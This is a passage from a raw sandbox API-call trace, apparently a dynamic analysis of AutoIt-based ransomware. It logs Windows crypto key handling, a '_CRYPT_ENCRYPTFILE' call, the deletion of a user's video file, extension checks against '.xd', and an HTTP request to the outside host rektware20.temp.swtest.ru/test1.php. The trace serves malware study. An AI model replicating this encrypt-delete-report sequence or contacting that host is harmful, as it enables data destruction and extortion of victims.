| out: lpMsg=0x130ee44) returned 0 [0067.105] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.105] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0067.105] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0067.105] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x1621558, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0067.105] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0067.105] CryptDestroyKey (hKey=0x164c970) returned 1 [0067.105] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.105] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.106] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.106] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.106] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.106] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.106] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0067.106] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.106] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0067.106] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.106] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0067.107] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.107] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0067.107] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0067.107] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.107] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.107] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0067.107] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.107] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0067.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0067.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164e050, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0067.107] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0067.107] CryptReleaseContext (hProv=0x17aa1a8, dwFlags=0x0) returned 1 [0067.107] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.107] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0067.107] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0067.108] FreeLibrary (hLibModule=0x74c60000) returned 1 [0067.108] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.108] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0067.108] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.109] CloseHandle (hObject=0x2ac) returned 1 [0067.110] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.114] CloseHandle (hObject=0x3bc) returned 1 [0067.118] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0067.120] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.120] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", lpFilePart=0x0) returned 0x46 [0067.120] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\sl471 qt10cep_01.mkv")) returned 0x20 [0067.120] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c4f0 [0067.121] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\SL471 qt10cEp_01.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\so-1kcafwr2nhn2gajyb\\sl471 qt10cep_01.mkv")) returned 1 [0067.124] FindNextFileW (in: hFindFile=0x164c4f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0067.125] FindClose (in: hFindFile=0x164c4f0 | out: hFindFile=0x164c4f0) returned 1 [0067.125] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.125] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.125] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.125] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.125] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164d070 [0067.125] FindClose (in: hFindFile=0x164d070 | out: hFindFile=0x164d070) returned 1 [0067.125] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.125] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0067.125] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0067.125] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0067.125] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0067.125] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620d60, lpdwBufferLength=0x130ef8c) returned 1 [0067.125] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0067.126] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0067.126] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0067.127] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0067.127] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0067.127] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0067.127] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629130, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629130*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0067.127] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x1629270, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x1629270*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0067.127] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0067.129] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0067.129] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0067.129] CloseHandle (hObject=0x0) returned 0 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="rs\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CIiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IiHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="iHmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HmnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mnxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="nxMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="xMn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Mn6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ps\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Videos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.129] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ideos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="deos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="eos\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="os\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.130] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="So-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="o-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="1KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="KCafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="CafWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="afWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fWr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Wr2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="r2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.131] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NHN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HN2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="N2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="2gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="gajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ajyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jyB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="yB\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="B\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zY39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Y39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="39_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="9_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="_ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ipdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="pdMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="dMytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="MytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ytRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tRay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ray.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ay.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="y.flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0067.132] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="flv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0067.132] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0067.132] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0067.133] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0067.133] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", 